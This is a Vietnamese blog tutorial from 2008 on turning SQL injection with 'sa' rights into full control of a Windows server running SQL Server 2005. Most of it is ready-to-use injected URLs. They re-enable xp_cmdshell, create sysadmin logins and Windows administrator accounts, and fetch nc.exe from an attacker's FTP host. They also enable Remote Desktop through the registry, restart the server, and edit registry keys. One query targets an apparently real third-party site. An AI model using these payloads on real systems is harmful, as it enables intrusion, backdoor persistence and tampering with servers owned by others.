Thursday, January 31, 2008

Khai thác SQL Injection khi system_user là sa

Trong TUT này chúng ta sẽ tìm hiểu

- Enable xp_cmdshell trên SQL Server 2005

- Chèn thêm user vào SQL Server

- Attack Server

- Enable Remote Desktop của server

- Kiểm tra xem System_User hiện tại có quyền ngang = sa ko

- Tương tác với Registry của Server



Enable xp_cmdshell trên SQL Server 2005

- Như anh em biết thì thằng SQL Server 2005 nó để mặc định là Disable lệnh xp_cmdshell nghĩa là ngay cả khi có tài khoản SQL là "sa" ta cũng không thể chạy đc. các câu lệnh cmd

+ Ví dụ victim là www.victim.com/hihi.asp?id=1 (thằng này có system_user = sa luôn nhá) , khi ta chạy

www.victim.com/hihi.asp?id=1;exec master..xp_cmdshell 'ipconfig'--sp_password

thì nó sẽ báo

Msg 15281, Level 16, State 1, Procedure xp_cmdshell, Line 1
SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', see "Surface Area Configuration" in SQL Server Books Online.

Nhưng mà vì có "sa" trong tay ^^ (Nghe như sa tăng) nên cái này ta vẫn có thể enable đc. bằng cách dùng sp_configure

www.victim.com/hihi.asp?id=1;exec sp_configure 'show advanced options', 1--sp_password ===> câu lệnh này là ta bật show advanced options thì mới có thể enable xp_cmdshell đc. (vì thằng xp_cmdshell nằm trong đó) ... Nếu nó ko báo lỗi gì mà trở lại trang www.victim.com/hihi.asp?id=1 thì anh em tiếp tục xuống dưới

www.victim.com/hihi.asp?id=1;reconfigure--sp_password ===> câu này để ta reconfigure lại để nó bắt đầu bật show advanced options ... Nếu nó ko báo lỗi gì mà trở lại trang www.victim.com/hihi.asp?id=1 thì anh em tiếp tục xuống dưới

www.victim.com/hihi.asp?id=1;exec sp_configure 'xp_cmdshell', 1--sp_password ===> bắt đầu enable xp_cmdshell ... Nếu nó ko báo lỗi gì mà trở lại trang www.victim.com/hihi.asp?id=1 thì anh em tiếp tục xuống dưới

www.victim.com/hihi.asp?id=1;reconfigure--sp_password ===> câu này để ta reconfigure lại để nó bắt đầu bật xp_cmdshell

Oke xong , bi h chạy thử phát nhỉ www.victim.com/hihi.asp?id=1;exec master..xp_cmdshell 'ipconfig'--sp_password ====> ko báo lỗi gì ^^ ...

À nhưng mà lưu ý với anh em là mặc dù đã enable xp_cmdshell nhưng chưa chắc đã làm đ.c gì nó đâu , tại vì thằng SQL Server 2005 nó ko cho chạy các lệnh như "net user millkak millkak /add" , :| ngay cả active cái user Guest "net user Guest /active" nó còn ko cho >"<...


Chèn thêm user vào SQL Server

Bây h vẫn Victim là www.victim.com/hihi.asp?id=1 (vẫn cho system_user = sa nhá)

Add thêm user vào SQL Server làm gì ??? Là để ta có thể login vào SQL Server của họ = Query Analyzer trong Microsoft SQL Server để có thể viết Query vừa nhanh + dễ dàng hơn (hoặc để nằm vùng cũng cực tốt), bác nào ko có Microsoft SQL Server thì nên cài :| (mua đĩa hết có 8k thui , bản Personal thui nhá)

Oke , bắt đầu nhỉ , đầu tiên là tạo ra user đã

www.victim.com/hihi.asp?id=1;exec sp_addlogin 'millkak', 'millkakpass'--sp_password ===> Ta vừa tạo thêm 1 user trong SQL Server của nó với username là millkak và password là millkakpass

Khi đã có user rùi thì ta phải add nó nên quyền quản trị cao nhất (ngang = sa)

www.victim.com/hihi.asp?id=1;exec sp_addsrvrolemember 'millkak', 'sysadmin'--sp_password ===> Add user millkak vào role Sysadmin (nghĩa là = sa đó)

Oke , bi h mở Query Analyzer và login thui ^^


Attack Server

-Phần này là phải xin phép bác dondoc rùi đây (mặc dù cái này mill cũng bít :">)

-victim vẫn là www.victim.com/hihi.asp?id=1 (sa)

www.victim.com/hihi.asp?id=1;exec master..xp_cmdshell 'net user millkak millkakpass /add'--sp_password ===> Add thêm user cho window với username = millkak và password = millkakpass

www.victim.com/hihi.asp?id=1;exec master..xp_cmdshell 'net localgroup administrators millkak /add'--sp_password ===> Add user millkak vào group administrators

www.victim.com/hihi.asp?id=1;exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" millkak /add'--sp_password ===> Add user millkak vào group Remote Desktop Users để nó có quyền Remote Desktop ý mà

Dondoc : Vậy là bây giờ bạn đã có thêm 1 tài khoản admin với password là millkakpass với quyền hệ thống và có thể remote desktop.
Chọn remote desktop như sau :
(Start->programs->accessories->communications->Remote Desktop)
Hoặc vào run gõ "mstsc"

Giờ chỉ cần điền IP và username : millkak và password là millkakpass , bạn đã login vào server và làm những gì mình muốn.

Phần này của bác Trickmaster (học cùng trg` với tớ :|) đây , upload file lên server qua ftp (có sửa đi 1 chút)

www.victim.com/hihi.asp?id=1;exec master..xp_cmdshell 'echo open ftp.Your_Domain.com>ftp&echo user Your_User Your_Pass>>ftp&echo get Your_File>>ftp&echo quit>>ftp'--sp_password ===> tạo file batch chứa những lệnh của FTP

www.victim.com/hihi.asp?id=1;exec master..xp_cmdshell 'ftp -v -i -n -s:ftp'--sp_password ===> thực thi lệnh của file batch

ftp.Your_Domain.com : chỗ này là domain của bạn , ví dụ ftp.vniss.net

Your_User : đây là username đăng nhập vào ftp

Your_Pass : password đăng nhập vào ftp

Your_File : file mà bạn muốn up lên server (file phải nằm trên host ftp của bạn) , ví dụ nc.exe

Ví dụ bạn có 1 host ftp là ftp.vniss.net với username là millkak và pass là millkakpass , bạn muốn up file nc.exe từ trên host ftp đó lên server thì bạn làm

www.victim.com/hihi.asp?id=1;exec master..xp_cmdshell 'echo open ftp.vniss.com>ftp&echo user millkak millkakpass>>ftp&echo get nc.exe>>ftp&echo quit>>ftp'--sp_password

www.victim.com/hihi.asp?id=1;exec master..xp_cmdshell 'ftp -v -i -n -s:ftp'--sp_password

sau khi chạy xong bạn có thể kiểm tra xem file đã đc. up lên server hay chưa

www.victim.com/hihi.asp?id=1;drop table millkak create table millkak (id int identity,noi_dung varchar(1000)) insert into millkak exec master..xp_cmdshell 'dir Your_File'--sp_password ===> tạo 1 table lưu giữ nội dung của câu lệnh exec master..xp_cmdshell 'dir Your_File' bạn nhớ là Your_File = tên file mà bạn vừa up lên , ví dụ nc.exe...

www.victim.com/hihi.asp?id=1 and 1=convert(int,(select noi_dung from millkak where id=6))--sp_password

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '06/23/2007 04:56 PM 579 nc.exe' to a column of data type int. ===> thành công :)


Enable Remote Desktop của server

Cái này còn trong giai đoạn thử nghiệm thui :( , thui cứ viết ra , anh em nào đọc xong mà đóng góp gì thì pm nick name yahoo : millkak

- Ức chế nhất là thằng nào chạy server mà ko enable cái Remote Desktop cho mình nhờ >"< :P , thui anh em thử cách này xem có enable đc. ko nhớ

- Victim vẫn là www.victim.com/hihi.asp?id=1 nhá (vẫn sa)

www.victim.com/hihi.asp?id=1;exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnection',REG_DWORD,0--sp_password ===> ghi khóa registry cho fDenyTSConnection với giá trị = 0

Tiếp tục anh em ơi

www.victim.com/hihi.asp?id=1 and 1=convert(int,@@servername)--sp_password ===> lấy tên server để còn khỏi động lại ^^

www.victim.com/hihi.asp?id=1;exec master..xp_cmdshell 'shutdown -m \\tên_server -r'--sp_password ===> restart máy nào ^^

Okie bi h chờ ít phút cho cái server nó khởi động lại rùi anh em bật Remote Desktop lên và connect


Kiểm tra xem System_User hiện tại có quyền ngang = sa ko

Đôi lúc có những System_user có quyền ngang = sa :) nhưng lúc query chúng ta ko thấy nó có tên là 'sa' nên thường bỏ qua ...

Có 1 cách để bạn kiểm tra xem System_user đó có nằm trong role sysadmin ko (ngang = sa)

VICTIM : www.victim.com/hihi.asp?id=1

- Kiểm tra System_User www.victim.com/hihi.asp?id=1 and 1=convert(int,system_user)--sp_password

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'millkak' to a column of data type int.

- Như vậy là System_user mà thằng victim này đang dùng có tên là millkak , bây h ta thử kiểm tra xem millkak có quyền ngang = sa ko

www.victim.com/hihi.asp?id=1;drop table check_sysuser create table check_sysuser (id int identity,noi_dung varchar(1000)) insert into check_sysuser select sysadmin from master..syslogins where name = 'millkak'--sp_password ===> tạo ra 1 table tên check_sysuser và chèn giá trị out put của câu query select sysadmin from master..syslogins where name = 'millkak' vào trường noi_dung của table...

http://www.iitkalumni.org/Souvenir/addCart.asp?PID=4 and 1=convert(int,(select top 1 noi_dung%2b'/' from check_sysuser where id=1))--sp_password ===> Select giá trị của trường noi_dung , bạn chú ý %2b nghĩa là dấu + trên IE nhưng ko hiểu sao trên firefox nó ko nhận dấu + :| , thui các bạn cứ để là %2b nhá ...

Nếu sau khi chạy xong link kia mà nó báo

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '1/ ' to a column of data type int. ===> Nghĩa là tài khoản SQL millkak có quyền ngang = sa :)

Còn nó mà báo lỗi

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '0/ ' to a column of data type int. ===> Nghĩa là tài khoản SQL millkak ko có quyền hành = sa , ta chỉ có thể khai thác bt đc. thui


Tương tác với Registry của Server

Như các bạn đã biết là Registry rất quan trọng trong hệ thống của window , khi có system_user = 'sa' trong tay thì bạn có thể tương tác vào registry của máy chủ

Victim : www.victim.com/hihi.asp?id=1 (sa)

--Del 1 khóa registry

www.victim.com/hihi.asp?id=1;exec xp_regdeletekey 'rootkey', 'key'--sp_password ===> các bạn chú ý 'rootkey''key' là đường dẫn đến khóa registry đó ...

Ví dụ mill muốn xóa 1 khóa registry TestValue ở 'HKEY_LOCAL_MACHINE\SOFTWARE\Test' thì sẽ là

www.victim.com/hihi.asp?id=1;exec xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Test\TestValue'--sp_password

--Đọc giá trị 1 khóa registry

Ví dụ bạn muốn đọc khóa registry fDenyTSConnectionHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server xem nó có giá trị = bao nhiêu thì bạn đầu tiên phải query

www.victim.com/hihi.asp?id=1;drop table millkak create table millkak (id int identity,noi_dung1 varchar(99), noi_dung2 varchar(99)) insert into millkak EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnection'--sp_password ===> tạo ra 1 table lưu trữ giá trị registry của khóa đó

Sau đó bạn phải select dữ liệu trong đó ra (để xem)

www.victim.com/hihi.asp?id=1 and 1=convert(int,(select top 1 noi_dung1%2b'/'%2bnoi_dung2 from millkak where id=1))--sp_password ===> %2b = dấu +

Nếu nó hiện lỗi

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'fDenyTSConnection/0' to a column of data type int. ===> có nghĩa là khóa fDenyTSConnection có giá trị = 0

--Ghi thêm + Sửa giá trị của khóa registry

Ví dụ Mill sẽ sửa giá trị của fDenyTSConnectionHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server thành 1

www.victim.com/hihi.asp?id=1;exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnection',REG_DWORD,1--sp_password


No comments: